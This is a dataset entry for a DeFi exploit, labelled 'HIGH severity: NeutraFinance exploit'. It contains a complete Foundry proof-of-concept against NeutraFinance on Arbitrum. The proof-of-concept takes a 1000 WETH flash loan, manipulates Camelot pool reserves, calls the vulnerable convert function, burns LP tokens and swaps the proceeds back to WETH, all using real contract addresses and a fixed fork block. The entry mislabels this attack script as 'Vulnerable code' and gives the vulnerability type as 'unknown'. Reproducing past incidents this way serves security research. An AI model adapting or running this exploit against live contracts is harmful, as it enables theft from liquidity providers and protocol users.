HIGH severity: NeutraFinance exploit (unknown). SPDX-License-Identifier: UNLICENSED @Analysis https://twitter.com/phalcon_xyz/status/1686654241111429120?s=46&t=Oc_WAGUoXqc9c0LidD-zww @TX https://explorer.phalcon.xyz/tx/arbitrum/0x6301d4c9f7ac1c96a65e83be6ea2fff5000f0b1939ad24955e40890bd9fe6122

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/phalcon_xyz/status/1686654241111429120?s=46&t=Oc_WAGUoXqc9c0LidD-zww
// @TX
// https://explorer.phalcon.xyz/tx/arbitrum/0x6301d4c9f7ac1c96a65e83be6ea2fff5000f0b1939ad24955e40890bd9fe6122

interface IVault {
    function flashLoan(
        IFlashLoanRecipient recipient,
        IERC20[] memory tokens,
        uint256[] memory amounts,
        bytes memory userData
    ) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function quote(uint256 amountA, uint256 reserveA, uint256 reserveB) external pure returns (uint256 amountB);
}

interface ICamelotRouter is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        address referrer,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        address referrer,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        address referrer,
        uint256 deadline
    ) external;
}

interface ICamelotFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint256);

    function owner() external view returns (address);

    function feePercentOwner() external view returns (address);

    function setStableOwner() external view returns (address);

    function feeTo() external view returns (address);

    function ownerFeeShare() external view returns (uint256);

    function referrersFeeShare(
        address
    ) external view returns (uint256);

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function allPairs(
        uint256
    ) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(
        address
    ) external;

    function feeInfo() external view returns (uint256 _ownerFeeShare, address _feeTo);
}

interface ICamelotPair {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(
        address owner
    ) external view returns (uint256);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(address from, address to, uint256 value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(
        address owner
    ) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint16 token0feePercent, uint16 token1FeePercent);

    function getAmountOut(uint256 amountIn, address tokenIn) external view returns (uint256);

    function kLast() external view returns (uint256);

    function setFeePercent(uint16 token0FeePercent, uint16 token1FeePercent) external;

    function mint(
        address to
    ) external returns (uint256 liquidity);

    function burn(
        address to
    ) external returns (uint256 amount0, uint256 amount1);

    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;

    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data, address referrer) external;

    function skim(
        address to
    ) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IConvert {
    function convert(
        uint256 _amount
    ) external;
}

contract CounterTest is Test {
    IVault valut = IVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
    IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
    IERC20 NEU = IERC20(0xdA51015b73cE11F77A115Bb1b8a7049e02dDEcf0);
    IERC20 NEU1 = IERC20(0x6609BE1547166D1C4605F3A243FDCFf467e600C3);
    ICamelotRouter CamelotRouter = ICamelotRouter(0xc873fEcbd354f5A56E00E710B90EF4201db2448d);
    IConvert convert = IConvert(0xdbd3d6040f87A9F822839Cb31195Ad25C2D0D54d);
    ICamelotPair CamelotPair0 = ICamelotPair(0x65eBC8Cfd2aF1D659ef2405a47172830180Ba440);
    ICamelotPair CamelotPair1 = ICamelotPair(0x2ea3CA79413C2EC4C1893D5f8C34C16acB2288A4);

    function setUp() public {
        vm.createSelectFork("arbitrum", 117_189_138);
        vm.label(address(WETH), "WETH");
        vm.label(address(NEU), "NEU");
    }

    function test() public {
        console.log("Attacker's WETH token balance: ", WETH.balanceOf(address(this)));
        IERC20[] memory tokens = new IERC20[](1);
        uint256[] memory amount = new uint256[](1);
        tokens[0] = WETH;
        amount[0] = 1000 ether;
        bytes memory userdata;
        valut.flashLoan(IFlashLoanRecipient(address(this)), tokens, amount, userdata);
    }

    function receiveFlashLoan(
        IERC20[] memory tokens,
        uint256[] memory amounts,
        uint256[] memory feeAmounts,
        bytes memory userData
    ) external {
        console.log("After flashloan attacker's WETH token balance: ", WETH.balanceOf(address(this)));
        WETH.approve(address(CamelotRouter), type(uint256).max);
        ICamelotFactory factoryAddr = ICamelotFactory(CamelotRouter.factory());
        console.log("Factory Address: ", address(factoryAddr));
        CamelotPair0 = ICamelotPair(factoryAddr.getPair(address(WETH), address(NEU)));
        console.log("CMLT-LP0 addresss: ", address(CamelotPair0));
        console.log("CMLT-LP0 addresss: ", factoryAddr.getPair(address(WETH), address(NEU)));
        address tokenA = CamelotPair0.token0();
        address tokenB = CamelotPair0.token1();
        address[] memory path = new address[](2);
        path[0] = tokenA;
        path[1] = tokenB;
        CamelotRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            0.15 ether, 0, path, address(this), address(this), block.timestamp + 30 minutes
        );
        console.log("swap token [WETH,NEU] 0.15 WETH -> NEU");
        uint256 neuAmount = NEU.balanceOf(address(this));
        console.log("Attacker's NEU token balance: ", neuAmount);
        NEU.approve(address(CamelotRouter), neuAmount);
        uint256 lpAmount0 = CamelotPair0.balanceOf(address(this));
        console.log("Balance of Attacker in CMLT-LP0: ", lpAmount0);
        CamelotRouter.addLiquidity(
            tokenA, tokenB, 0.15 ether, neuAmount, 0, 0, address(this), block.timestamp + 30 minutes
        );
        lpAmount0 = CamelotPair0.balanceOf(address(this));
        console.log("Balance of Attacker in CMLT-LP0 after addLiquidity: ", lpAmount0);
        CamelotPair0.approve(address(convert), type(uint256).max);
        uint256 cvAmount = CamelotPair1.balanceOf(address(convert));
        console.log("Balance of Convert in CMLT-LP1: ", cvAmount);
        (uint256 lp0_reserve0, uint256 lp0_reserve1,,) = CamelotPair0.getReserves();
        console.log("LP0 reserve0 amount: ", lp0_reserve0);
        console.log("LP0 reserve1 amount: ", lp0_reserve1);
        (uint256 lp1_reserve0, uint256 lp1_reserve1,,) = CamelotPair1.getReserves();
        console.log("LP1 reserve0 amount: ", lp1_reserve0);
        console.log("LP1 reserve1 amount: ", lp1_reserve1);
        uint256 lp0_totalsupply = CamelotPair0.totalSupply();
        console.log("LP0 totalSupply amount: ", lp0_totalsupply);
        uint256 lp1_totalsupply = CamelotPair1.totalSupply();
        console.log("LP1 totalSupply amount: ", lp1_totalsupply);
        neuAmount = NEU.balanceOf(address(this));
        console.log("Attacker's NEU token balance: ", neuAmount);
        CamelotRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            849 ether, 0, path, address(this), address(this), block.timestamp + 30 minutes
        );
        console.log("swap token [WETH,NEU] 849 WETH -> NEU");
        neuAmount = NEU.balanceOf(address(this));
        console.log("Attacker's NEU token balance: ", neuAmount);
        uint256 wethAmount = WETH.balanceOf(address(this));
        console.log("Attacker's WETH token balance: ", wethAmount);
        (lp0_reserve0, lp0_reserve1,,) = CamelotPair0.getReserves();
        console.log("LP0 reserve0 amount: ", lp0_reserve0);
        console.log("LP0 reserve1 amount: ", lp0_reserve1);
        (lp1_reserve0, lp1_reserve1,,) = CamelotPair1.getReserves();
        console.log("LP1 reserve0 amount: ", lp1_reserve0);
        console.log("LP1 reserve1 amount: ", lp1_reserve1);
        convert.convert(lpAmount0);
        console.log("call the convert");
        neuAmount = NEU.balanceOf(address(this));
        console.log("Attacker's NEU token balance: ", neuAmount);
        wethAmount = WETH.balanceOf(address(this));
        console.log("Attacker's WETH token balance: ", wethAmount);
        NEU.approve(address(CamelotRouter), type(uint256).max);
        address[] memory path1 = new address[](2);
        path1[0] = tokenB;
        path1[1] = tokenA;
        CamelotRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            neuAmount, 0, path1, address(this), address(this), block.timestamp + 30 minutes
        );
        console.log("swap token [NEU,WETH]");
        wethAmount = WETH.balanceOf(address(this));
        console.log("Attacker's WETH token balance: ", wethAmount);
        uint256 lpAmount1 = CamelotPair1.balanceOf(address(this));
        console.log("Balance of Attacker in CMLT-LP1: ", lpAmount1);
        CamelotPair1.transfer(address(CamelotPair1), lpAmount1);
        (uint256 amount0, uint256 amount1) = CamelotPair1.burn(address(this));
        console.log("CMLT-LP1 burn amount: ", amount0, amount1);
        uint256 neu1Amount = NEU1.balanceOf(address(this));
        console.log("Attacker's NEU1 token balance: ", neu1Amount);
        wethAmount = WETH.balanceOf(address(this));
        console.log("Attacker's WETH token balance: ", wethAmount);
        address[] memory path2 = new address[](2);
        path2[0] = address(NEU1);
        path2[1] = address(WETH);
        NEU1.approve(address(CamelotRouter), type(uint256).max);
        CamelotRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            neu1Amount, 0, path2, address(this), address(this), block.timestamp + 30 minutes
        );
        console.log("swap token [NEU1,WETH]");
        wethAmount = WETH.balanceOf(address(this));
        console.log("Attacker's WETH token balance: ", wethAmount);
        (lp0_reserve0, lp0_reserve1,,) = CamelotPair0.getReserves();
        console.log("LP0 reserve0 amount: ", lp0_reserve0);
        console.log("LP0 reserve1 amount: ", lp0_reserve1);
        (lp1_reserve0, lp1_reserve1,,) = CamelotPair1.getReserves();
        console.log("LP1 reserve0 amount: ", lp1_reserve0);
        console.log("LP1 reserve1 amount: ", lp1_reserve1);
        WETH.transfer(address(valut), 1000 ether);
        console.log("refund flashloan");
        wethAmount = WETH.balanceOf(address(this));
        console.log("Attacker's WETH token balance: ", wethAmount);
    }
}


Vulnerability type: unknown